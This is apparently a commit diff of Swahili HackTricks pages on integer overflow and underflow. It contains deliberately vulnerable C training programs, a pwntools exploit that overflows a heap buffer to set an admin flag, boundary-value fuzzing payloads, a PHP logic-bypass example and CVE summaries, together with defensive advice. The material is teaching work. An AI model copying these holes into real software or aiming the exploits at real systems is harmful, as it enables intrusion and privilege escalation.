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Translated ['src/binary-exploitation/integer-overflow-and-underflow.md',
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- [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md)
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- [Array Indexing](binary-exploitation/array-indexing.md)
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- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
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- [Integer Overflow](binary-exploitation/integer-overflow.md)
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- [Integer Overflow](binary-exploitation/integer-overflow-and-underflow.md)
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- [Format Strings](binary-exploitation/format-strings/README.md)
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- [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)
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- [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md)
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368
src/binary-exploitation/integer-overflow-and-underflow.md
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368
src/binary-exploitation/integer-overflow-and-underflow.md
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# Integer Overflow
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{{#include ../banners/hacktricks-training.md}}
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## Taarifa za Msingi
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Kimsingi cha **integer overflow** ni kikomo kinachowekwa na **ukubwa** wa aina za data katika programu za kompyuta na **tafsiri** ya data.
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Kwa mfano, **8-bit unsigned integer** inaweza kuwakilisha thamani kutoka **0 to 255**. Ikiwa utajaribu kuhifadhi thamani 256 katika 8-bit unsigned integer, itazunguka kurudi 0 kutokana na kikomo cha uwezo wake wa uhifadhi. Vivyo hivyo, kwa **16-bit unsigned integer**, ambayo inaweza kushikilia thamani kutoka **0 to 65,535**, kuongeza 1 kwa 65,535 kutaizungusha thamani kurudi 0.
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Zaidi ya hayo, **8-bit signed integer** inaweza kuwakilisha thamani kutoka **-128 to 127**. Hii ni kwa sababu bit moja inatumiwa kuwakilisha ishara (chanya au hasi), ikiacha bits 7 za kuwakilisha ukubwa. Nambari yenye hasi kabisa inawakilishwa kama **-128** (binary `10000000`), na nambari yenye chanya kabisa ni **127** (binary `01111111`).
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Thamani kubwa za aina za integer zinazojulikana:
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| Aina | Ukubwa (bits) | Thamani Ndogo | Thamani Kuu |
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|----------------|---------------|--------------------|--------------------|
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| int8_t | 8 | -128 | 127 |
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| uint8_t | 8 | 0 | 255 |
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| int16_t | 16 | -32,768 | 32,767 |
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| uint16_t | 16 | 0 | 65,535 |
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| int32_t | 32 | -2,147,483,648 | 2,147,483,647 |
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| uint32_t | 32 | 0 | 4,294,967,295 |
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| int64_t | 64 | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 |
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| uint64_t | 64 | 0 | 18,446,744,073,709,551,615 |
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short ni sawa na `int16_t` na int ni sawa na `int32_t` na long ni sawa na `int64_t` katika mifumo ya 64bits.
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### Thamani Kuu
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Kwa **web vulnerabilities** zinazowezekana ni muhimu kujua thamani za juu zinazoungwa mkono:
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{{#tabs}}
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{{#tab name="Rust"}}
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```rust
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fn main() {
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let mut quantity = 2147483647;
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let (mul_result, _) = i32::overflowing_mul(32767, quantity);
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let (add_result, _) = i32::overflowing_add(1, quantity);
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println!("{}", mul_result);
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println!("{}", add_result);
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}
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```
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{{#endtab}}
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{{#tab name="C"}}
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```c
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#include <stdio.h>
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#include <limits.h>
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int main() {
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int a = INT_MAX;
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int b = 0;
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int c = 0;
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b = a * 100;
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c = a + 1;
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printf("%d\n", INT_MAX);
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printf("%d\n", b);
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printf("%d\n", c);
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return 0;
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}
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```
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{{#endtab}}
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{{#endtabs}}
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## Mifano
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### Safi overflow
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Matokeo yaliyochapishwa yatakuwa 0 kwani tuli overflow char:
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```c
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#include <stdio.h>
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int main() {
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unsigned char max = 255; // 8-bit unsigned integer
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unsigned char result = max + 1;
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printf("Result: %d\n", result); // Expected to overflow
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return 0;
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}
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```
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### Signed to Unsigned Conversion
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Fikiria hali ambapo signed integer inasomwa kutoka kwa ingizo la mtumiaji kisha ikitumika katika muktadha unaoitendea kama unsigned integer, bila uhalalishaji sahihi:
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```c
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#include <stdio.h>
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int main() {
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int userInput; // Signed integer
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printf("Enter a number: ");
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scanf("%d", &userInput);
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// Treating the signed input as unsigned without validation
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unsigned int processedInput = (unsigned int)userInput;
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// A condition that might not work as intended if userInput is negative
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if (processedInput > 1000) {
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printf("Processed Input is large: %u\n", processedInput);
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} else {
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printf("Processed Input is within range: %u\n", processedInput);
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}
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return 0;
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}
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```
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Katika mfano huu, ikiwa mtumiaji ataingiza nambari hasi, itatafsiriwa kama nambari kubwa isiyo na alama (unsigned) kutokana na jinsi thamani za binary zinavyotafsiriwa, na inaweza kusababisha tabia isiyotarajiwa.
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### macOS Overflow Example
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```c
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#include <stdio.h>
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#include <stdlib.h>
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#include <stdint.h>
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#include <string.h>
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#include <unistd.h>
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/*
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* Realistic integer-overflow → undersized allocation → heap overflow → flag
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* Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
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*/
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__attribute__((noinline))
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void win(void) {
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puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
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puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
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exit(0);
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}
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struct session {
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int is_admin; // Target to flip from 0 → 1
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char note[64];
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};
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static size_t read_stdin(void *dst, size_t want) {
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// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
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const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
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size_t got = 0;
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printf("Requested bytes: %zu\n", want);
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while (got < want) {
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size_t remain = want - got;
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size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
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ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
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if (n > 0) {
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got += (size_t)n;
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continue;
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}
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if (n == 0) {
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// EOF – stop; partial reads are fine for our exploit
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break;
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}
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// n < 0: real error (likely EINVAL when chunk too big on some FDs)
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perror("read");
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break;
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}
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return got;
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}
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int main(void) {
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setvbuf(stdout, NULL, _IONBF, 0);
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puts("=== Bundle Importer (training) ===");
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// 1) Read attacker-controlled parameters (use large values)
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size_t count = 0, elem_size = 0;
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printf("Entry count: ");
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if (scanf("%zu", &count) != 1) return 1;
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printf("Entry size: ");
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if (scanf("%zu", &elem_size) != 1) return 1;
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// 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
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// NOTE: 'product32' is 32-bit → wraps; then we add a tiny header.
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uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit.
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/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
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Then, product32 = 0
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*/
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uint32_t alloc32 = product32 + 32; // alloc32 = 0 + 32 = 32
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printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);
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// 3) Allocate a single arena and lay out [buffer][slack][session]
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// This makes adjacency deterministic (no reliance on system malloc order).
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const size_t SLACK = 512;
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size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
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unsigned char *arena = (unsigned char*)malloc(arena_sz);
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if (!arena) { perror("malloc"); return 1; }
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memset(arena, 0, arena_sz);
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unsigned char *buf = arena; // In this buffer the attacker will copy data
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struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
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sess->is_admin = 0;
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strncpy(sess->note, "regular user", sizeof(sess->note)-1);
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printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
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(void*)arena, (void*)buf, alloc32, (void*)sess,
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((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).
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// 4) Copy uses native size_t product (no truncation) → It generates an overflow
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size_t to_copy = count * elem_size; // <-- Large size_t
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printf("[dbg] requested copy (size_t) = %zu\n", to_copy);
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puts(">> Send bundle payload on stdin (EOF to finish)...");
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size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
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printf("[dbg] actually read = %zu bytes\n", got);
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// 5) Privileged action gated by a field next to the overflow target
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if (sess->is_admin) {
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puts("[dbg] admin privileges detected");
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win();
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} else {
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puts("[dbg] normal user");
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}
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return 0;
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}
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```
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Kusanya kwa kutumia:
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```bash
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clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
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-o int_ovf_heap_priv int_ovf_heap_priv.c
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```
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#### Exploit
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```python
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# exploit.py
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from pwn import *
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# Keep logs readable; switch to "debug" if you want full I/O traces
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context.log_level = "info"
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EXE = "./int_ovf_heap_priv"
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def main():
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# IMPORTANT: use plain pipes, not PTY
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io = process([EXE]) # stdin=PIPE, stdout=PIPE by default
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# 1) Drive the prompts
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io.sendlineafter(b"Entry count: ", b"4294967296") # 2^32 -> (uint32_t)0
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io.sendlineafter(b"Entry size: ", b"1") # alloc32 = 32, offset_to_sess = 48
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# 2) Wait until it’s actually reading the payload
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io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")
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# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
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payload = b"A" * 48 + p32(1)
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# 4) Send payload, THEN send EOF via half-close on the pipe
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io.send(payload)
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io.shutdown("send") # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary
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# 5) Read the rest (should print admin + FLAG)
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print(io.recvall(timeout=5).decode(errors="ignore"))
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if __name__ == "__main__":
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main()
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```
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### macOS Underflow Mfano
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```c
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#include <stdio.h>
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#include <stdlib.h>
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#include <stdint.h>
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#include <string.h>
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#include <unistd.h>
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/*
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* Integer underflow -> undersized allocation + oversized copy -> heap overwrite
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* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
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*/
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__attribute__((noinline))
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void win(void) {
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puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
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puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
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exit(0);
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}
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struct session {
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int is_admin; // flip 0 -> 1
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char note[64];
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};
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static size_t read_stdin(void *dst, size_t want) {
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// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
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const size_t MAX_CHUNK = 1 << 20; // 1 MiB
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size_t got = 0;
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printf("[dbg] Requested bytes: %zu\n", want);
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while (got < want) {
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size_t remain = want - got;
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size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
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ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
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if (n > 0) { got += (size_t)n; continue; }
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if (n == 0) break; // EOF: partial read is fine
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perror("read"); break;
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}
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return got;
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}
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int main(void) {
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setvbuf(stdout, NULL, _IONBF, 0);
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puts("=== Packet Importer (UNDERFLOW training) ===");
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size_t total_len = 0;
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printf("Total packet length: ");
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if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"
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const size_t HEADER = 16;
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// **BUG**: size_t underflow if total_len < HEADER
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size_t payload_len = total_len - HEADER; // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
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// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
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printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
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total_len, HEADER, payload_len);
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// Build a deterministic arena: [buf of total_len][16 gap][session][slack]
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const size_t SLACK = 256;
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size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
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unsigned char *arena = (unsigned char*)malloc(arena_sz);
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if (!arena) { perror("malloc"); return 1; }
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memset(arena, 0, arena_sz);
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unsigned char *buf = arena;
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struct session *sess = (struct session*)(arena + total_len + 16);
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// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
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sess->is_admin = 0;
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strncpy(sess->note, "regular user", sizeof(sess->note)-1);
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printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
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(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);
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puts(">> Send payload bytes (EOF to finish)...");
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size_t got = read_stdin(buf, payload_len);
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// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1
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printf("[dbg] actually read = %zu bytes\n", got);
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if (sess->is_admin) {
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puts("[dbg] admin privileges detected");
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win();
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} else {
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puts("[dbg] normal user");
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}
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return 0;
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}
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```
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I-compile kwa kutumia:
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```bash
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clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
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-o int_underflow_heap int_underflow_heap.c
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```
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### Mifano Mengine
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||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
|
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- 1B pekee hutumika kuhifadhi ukubwa wa password, hivyo inawezekana ku-overflow na kuifanya ifikirie urefu wake kuwa 4 ilhali kwa kweli ni 260, hivyo kupitisha ukaguzi wa urefu
|
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- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
|
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- Kwa kupewa namba chache, tumia z3 kupata namba mpya ambayo ikizidishwa na nambari ya kwanza itatoa nambari ya pili:
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```
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(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
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```
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- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
|
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- 1B pekee hutumika kuhifadhi ukubwa wa password, hivyo inawezekana ku-overflow na kuifanya ifikirie urefu wake kuwa 4 ilhali kwa kweli ni 260, kupitisha ukaguzi wa urefu na kuandika juu kwenye stack local variable inayofuata na hivyo kupitisha ulinzi zote mbili
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## ARM64
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Hii **haibadiliki katika ARM64** kama unavyoweza kuona katika [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
|
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|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
@ -1,115 +0,0 @@
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# Integer Overflow
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
Katika msingi wa **integer overflow** kuna kikomo kinachowekwa na **ukubwa** wa aina za data katika programu za kompyuta na **ufafanuzi** wa data.
|
||||
|
||||
Kwa mfano, **8-bit unsigned integer** inaweza kuwakilisha thamani kutoka **0 hadi 255**. Ikiwa unajaribu kuhifadhi thamani 256 katika 8-bit unsigned integer, inarudi nyuma hadi 0 kutokana na kikomo cha uwezo wake wa kuhifadhi. Vivyo hivyo, kwa **16-bit unsigned integer**, ambayo inaweza kushikilia thamani kutoka **0 hadi 65,535**, kuongeza 1 kwa 65,535 itarudisha thamani hiyo hadi 0.
|
||||
|
||||
Zaidi ya hayo, **8-bit signed integer** inaweza kuwakilisha thamani kutoka **-128 hadi 127**. Hii ni kwa sababu bit moja inatumika kuwakilisha ishara (chanya au hasi), ikiacha bits 7 kuwakilisha ukubwa. Nambari hasi zaidi inawakilishwa kama **-128** (binary `10000000`), na nambari chanya zaidi ni **127** (binary `01111111`).
|
||||
|
||||
### Max values
|
||||
|
||||
Kwa uwezekano wa **web vulnerabilities** ni muhimu kujua thamani za juu zinazoungwa mkono:
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Rust"}}
|
||||
```rust
|
||||
fn main() {
|
||||
|
||||
let mut quantity = 2147483647;
|
||||
|
||||
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
|
||||
let (add_result, _) = i32::overflowing_add(1, quantity);
|
||||
|
||||
println!("{}", mul_result);
|
||||
println!("{}", add_result);
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="C"}}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <limits.h>
|
||||
|
||||
int main() {
|
||||
int a = INT_MAX;
|
||||
int b = 0;
|
||||
int c = 0;
|
||||
|
||||
b = a * 100;
|
||||
c = a + 1;
|
||||
|
||||
printf("%d\n", INT_MAX);
|
||||
printf("%d\n", b);
|
||||
printf("%d\n", c);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## Mifano
|
||||
|
||||
### Overflow safi
|
||||
|
||||
Matokeo yaliyochapishwa yatakuwa 0 kwani tumepita kiwango cha char:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
unsigned char max = 255; // 8-bit unsigned integer
|
||||
unsigned char result = max + 1;
|
||||
printf("Result: %d\n", result); // Expected to overflow
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### Signed to Unsigned Conversion
|
||||
|
||||
Fikiria hali ambapo nambari iliyo na saini inasomwa kutoka kwa ingizo la mtumiaji na kisha kutumika katika muktadha ambao unait treating kama nambari isiyo na saini, bila uthibitisho sahihi:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
int userInput; // Signed integer
|
||||
printf("Enter a number: ");
|
||||
scanf("%d", &userInput);
|
||||
|
||||
// Treating the signed input as unsigned without validation
|
||||
unsigned int processedInput = (unsigned int)userInput;
|
||||
|
||||
// A condition that might not work as intended if userInput is negative
|
||||
if (processedInput > 1000) {
|
||||
printf("Processed Input is large: %u\n", processedInput);
|
||||
} else {
|
||||
printf("Processed Input is within range: %u\n", processedInput);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Katika mfano huu, ikiwa mtumiaji anaingiza nambari hasi, itatafsiriwa kama nambari kubwa isiyo na alama kutokana na jinsi thamani za binary zinavyotafsiriwa, ambayo inaweza kusababisha tabia isiyotarajiwa.
|
||||
|
||||
### Mifano Mingine
|
||||
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
|
||||
- Ni 1B pekee inayotumika kuhifadhi ukubwa wa nenosiri hivyo inawezekana kuijaza na kuifanya ifikirie kuwa urefu wake ni 4 wakati kwa kweli ni 260 ili kupita ulinzi wa ukaguzi wa urefu
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
|
||||
|
||||
- Imepewa nambari kadhaa pata kutumia z3 nambari mpya ambayo ikizidishwa na ya kwanza itatoa ya pili:
|
||||
|
||||
```
|
||||
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
|
||||
```
|
||||
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
|
||||
- Ni 1B pekee inayotumika kuhifadhi ukubwa wa nenosiri hivyo inawezekana kuijaza na kuifanya ifikirie kuwa urefu wake ni 4 wakati kwa kweli ni 260 ili kupita ulinzi wa ukaguzi wa urefu na kuandika tena kwenye stack variable ya ndani inayofuata na kupita ulinzi wote
|
||||
|
||||
## ARM64
|
||||
|
||||
Hii **haiwezi kubadilika katika ARM64** kama unavyoona katika [**hiki kipande cha blog**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
@ -2,45 +2,44 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> Ukurasa huu unazingatia jinsi **overflow/truncation za integer zinavyoweza kutumika vibaya katika programu za wavuti na vivinjari**. Kwa mbinu za unyakuzi ndani ya binaries asilia unaweza kuendelea kusoma ukurasa uliojitolea:
|
||||
> Ukurasa huu unaelezea jinsi ambapo **integer overflows/truncations zinaweza kutumiwa katika web applications na browsers**. Kwa exploitation primitives ndani ya native binaries unaweza endelea kusoma ukurasa maalum:
|
||||
>
|
||||
>
|
||||
{{#ref}}
|
||||
> ../../binary-exploitation/integer-overflow-and-underflow.md
|
||||
>
|
||||
{{#endref}}
|
||||
> {{#endref}}
|
||||
|
||||
---
|
||||
|
||||
## 1. Kwa nini hesabu za integer bado ni muhimu kwenye wavuti
|
||||
## 1. Why integer math still matters on the web
|
||||
|
||||
Ingawa mantiki nyingi za biashara katika stack za kisasa zimeandikwa katika lugha za *memory-safe*, runtime ya chini (au maktaba za wahusika wengine) hatimaye inatekelezwa kwa C/C++. Kila wakati nambari zinazodhibitiwa na mtumiaji zinapotumika kugawa buffers, kuhesabu offsets, au kufanya ukaguzi wa urefu, **kuzunguka kwa 32-bit au 64-bit kunaweza kubadilisha parameter inayonekana kuwa isiyo na madhara kuwa kusoma/kandika nje ya mipaka, kupita kwa mantiki au DoS**.
|
||||
Licha ya kwamba sehemu kubwa ya business-logic katika modern stacks imeandikwa kwa lugha za *memory-safe*, runtime inayofanya kazi chini yake (au third-party libraries) hatimaye imeimplemented katika C/C++. Wakati wowote nambari zinazoathiriwa na user zinapotumika kugawa buffers, kuhesabu offsets, au kufanya ukaguzi wa urefu, **wrap-around ya 32-bit au 64-bit inaweza kubadilisha parameter inayotarajiwa kuwa isiyo hatari kuwa out-of-bounds read/write, logic bypass au DoS**.
|
||||
|
||||
Uso wa shambulio wa kawaida:
|
||||
Typical attack surface:
|
||||
|
||||
1. **Parameta za ombi za nambari** – viwanja vya kawaida vya id, offset, au count.
|
||||
2. **Vichwa vya urefu / saizi** – Content-Length, urefu wa fremu ya WebSocket, HTTP/2 continuation_len, n.k.
|
||||
3. **Metadata ya muundo wa faili inayosindika upande wa seva au upande wa mteja** – vipimo vya picha, saizi za chunk, meza za font.
|
||||
4. **Mabadiliko ya kiwango cha lugha** – signed↔unsigned casts katika PHP/Go/Rust FFI, JS Number → int32 truncations ndani ya V8.
|
||||
5. **Uthibitishaji & mantiki ya biashara** – thamani ya kuponi, bei, au hesabu za salio ambazo zinapita kimya.
|
||||
1. **Numeric request parameters** – classic id, offset, or count fields.
|
||||
2. **Length / size headers** – Content-Length, WebSocket frame length, HTTP/2 continuation_len, etc.
|
||||
3. **File-format metadata parsed server-side or client-side** – image dimensions, chunk sizes, font tables.
|
||||
4. **Language-level conversions** – signed↔unsigned casts in PHP/Go/Rust FFI, JS Number → int32 truncations inside V8.
|
||||
5. **Authentication & business logic** – coupon value, price, or balance calculations that silently overflow.
|
||||
|
||||
---
|
||||
|
||||
## 2. Uthibitisho wa hivi karibuni wa udhaifu wa kweli (2023-2025)
|
||||
## 2. Recent real-world vulnerabilities (2023-2025)
|
||||
|
||||
| Mwaka | Kipengele | Sababu kuu | Athari |
|
||||
| Mwaka | Komponenti | Sababu kuu | Athari |
|
||||
|------|-----------|-----------|--------|
|
||||
| 2023 | **libwebp – CVE-2023-4863** | Kuongezeka kwa 32-bit wakati wa kuhesabu saizi ya pikseli iliyotafsiriwa | Ilisababisha Chrome 0-day (BLASTPASS kwenye iOS), iliruhusu *utendaji wa msimbo wa mbali* ndani ya sandbox ya renderer. |
|
||||
| 2024 | **V8 – CVE-2024-0519** | Truncation hadi 32-bit wakati wa kukua JSArray inasababisha OOB kuandika kwenye duka la nyuma | Utendaji wa msimbo wa mbali baada ya kutembelea mara moja. |
|
||||
| 2025 | **Apollo GraphQL Server** (patch isiyotolewa) | Integer ya 32-bit iliyosainiwa inatumika kwa argumeti za pagination za kwanza/mwisho; thamani hasi zinazunguka kuwa kubwa chanya | Kupita kwa mantiki & uchovu wa kumbukumbu (DoS). |
|
||||
| 2023 | **libwebp – CVE-2023-4863** | 32-bit multiplication overflow when computing decoded pixel size | Ilisababisha Chrome 0-day (BLASTPASS on iOS), ikaruhusu *remote code execution* ndani ya renderer sandbox. |
|
||||
| 2024 | **V8 – CVE-2024-0519** | Truncation to 32-bit when growing a JSArray leads to OOB write on the backing store | Remote code execution baada ya kutembelea mara moja. |
|
||||
| 2025 | **Apollo GraphQL Server** (unreleased patch) | 32-bit signed integer used for first/last pagination args; negative values wrap to huge positives | Logic bypass & memory exhaustion (DoS). |
|
||||
|
||||
---
|
||||
|
||||
## 3. Mkakati wa kupima
|
||||
## 3. Testing strategy
|
||||
|
||||
### 3.1 Cheat-sheet ya thamani za mpaka
|
||||
### 3.1 Boundary-value cheat-sheet
|
||||
|
||||
Tuma **thamani za juu za signed/unsigned** popote ambapo integer inatarajiwa:
|
||||
Tuma **extreme signed/unsigned values** kila mahali ambapo integer inatarajiwa:
|
||||
```
|
||||
-1, 0, 1,
|
||||
127, 128, 255, 256,
|
||||
@ -49,9 +48,9 @@ Tuma **thamani za juu za signed/unsigned** popote ambapo integer inatarajiwa:
|
||||
9223372036854775807, 9223372036854775808,
|
||||
0x7fffffff, 0x80000000, 0xffffffff
|
||||
```
|
||||
Mifumo mingine ya manufaa:
|
||||
* Hex (0x100), octal (0377), kisayansi (1e10), JSON big-int (9999999999999999999).
|
||||
* Mifumo ya nambari ndefu sana (>1kB) ili kufikia parser maalum.
|
||||
Mifomato mingine muhimu:
|
||||
* Hex (0x100), octal (0377), scientific (1e10), JSON big-int (9999999999999999999).
|
||||
* Mfuatano mrefu sana wa tarakimu (>1kB) ili kugonga custom parsers.
|
||||
|
||||
### 3.2 Kiolezo cha Burp Intruder
|
||||
```
|
||||
@ -62,15 +61,15 @@ Pad to length: 10, Enable hex prefix 0x
|
||||
```
|
||||
### 3.3 Fuzzing libraries & runtimes
|
||||
|
||||
* **AFL++/Honggfuzz** na libFuzzer harness kuzunguka parser (mfano, WebP, PNG, protobuf).
|
||||
* **Fuzzilli** – fuzzing inayojua sarufi ya injini za JavaScript ili kugonga V8/JSC integer truncations.
|
||||
* **boofuzz** – fuzzing ya itifaki ya mtandao (WebSocket, HTTP/2) ikilenga uwanja wa urefu.
|
||||
* **AFL++/Honggfuzz** pamoja na libFuzzer harness karibu na parser (kwa mfano, WebP, PNG, protobuf).
|
||||
* **Fuzzilli** – grammar-aware fuzzing ya JavaScript engines ili kugonga V8/JSC integer truncations.
|
||||
* **boofuzz** – network-protocol fuzzing (WebSocket, HTTP/2) ikilenga length fields.
|
||||
|
||||
---
|
||||
|
||||
## 4. Exploitation patterns
|
||||
|
||||
### 4.1 Logic bypass in server-side code (PHP example)
|
||||
### 4.1 Logic bypass katika server-side code (mfano wa PHP)
|
||||
```php
|
||||
$price = (int)$_POST['price']; // expecting cents (0-10000)
|
||||
$total = $price * 100; // ← 32-bit overflow possible
|
||||
@ -79,27 +78,29 @@ die('Too expensive');
|
||||
}
|
||||
/* Sending price=21474850 → $total wraps to ‑2147483648 and check is bypassed */
|
||||
```
|
||||
### 4.2 Heap overflow kupitia decoder ya picha (libwebp 0-day)
|
||||
Decoder ya WebP isiyo na hasara iliongeza upana wa picha × urefu × 4 (RGBA) ndani ya int ya 32-bit. Faili iliyoundwa kwa vipimo 16384 × 16384 inazidi kuzidisha, inatenga buffer fupi na kisha inaandika **~1GB** ya data iliyoshughulikiwa kupita heap – ikisababisha RCE katika kila kivinjari kinachotegemea Chromium kabla ya 116.0.5845.187.
|
||||
### 4.2 Heap overflow via image decoder (libwebp 0-day)
|
||||
WebP lossless decoder ilizidisha image width × height × 4 (RGBA) ndani ya 32-bit int. Faili iliyotengenezwa kwa vipimo 16384 × 16384 iliresulta overflows kwenye multiplication, allocates short buffer na baadaye ikaandika **~1GB** ya decompressed data past the heap – ikisababisha RCE katika every Chromium-based browser kabla ya 116.0.5845.187.
|
||||
|
||||
### 4.3 Mnyororo wa XSS/RCE unaotegemea kivinjari
|
||||
1. **Integer overflow** katika V8 inatoa kusoma/kandika bila mipaka.
|
||||
2. Kimbia kwenye sandbox kwa hitilafu ya pili au piga API za asili ili kuangusha payload.
|
||||
3. Payload kisha inaingiza script mbaya katika muktadha wa asili → XSS iliyohifadhiwa.
|
||||
### 4.3 Browser-based XSS/RCE chain
|
||||
1. **Integer overflow** in V8 gives arbitrary read/write.
|
||||
2. Escape the sandbox with a second bug or call native APIs to drop a payload.
|
||||
3. The payload then injects a malicious script into the origin context → stored XSS.
|
||||
|
||||
---
|
||||
|
||||
## 5. Miongozo ya kujihami
|
||||
## 5. Defensive guidelines
|
||||
|
||||
1. **Tumia aina pana au hesabu zilizokaguliwa** – e.g., size_t, Rust checked_add, Go math/bits.Add64.
|
||||
2. **Thibitisha mipaka mapema**: kataa thamani yoyote nje ya eneo la biashara kabla ya hesabu.
|
||||
3. **Washa sanitizers za kompyuta**: -fsanitize=integer, UBSan, Go race detector.
|
||||
4. **Pokea fuzzing katika CI/CD** – changanya mrejesho wa kufunika na mipaka ya data.
|
||||
5. **Baki na sasisho** – hitilafu za integer overflow za kivinjari mara nyingi zinatumika kama silaha ndani ya wiki chache.
|
||||
1. **Use wide types or checked math** – e.g., size_t, Rust checked_add, Go math/bits.Add64.
|
||||
2. **Validate ranges early**: kataa thamani yoyote nje ya business domain kabla ya arithmetic.
|
||||
3. **Enable compiler sanitizers**: -fsanitize=integer, UBSan, Go race detector.
|
||||
4. **Adopt fuzzing in CI/CD** – waunganishe coverage feedback na boundary corpora.
|
||||
5. **Stay patched** – browser integer overflow bugs mara nyingi zinatumiwa ndani ya wiki.
|
||||
|
||||
---
|
||||
|
||||
## Marejeo
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [NVD CVE-2023-4863 – libwebp Heap Buffer Overflow](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
|
||||
* [Google Project Zero – "Understanding V8 CVE-2024-0519"](https://googleprojectzero.github.io/)
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user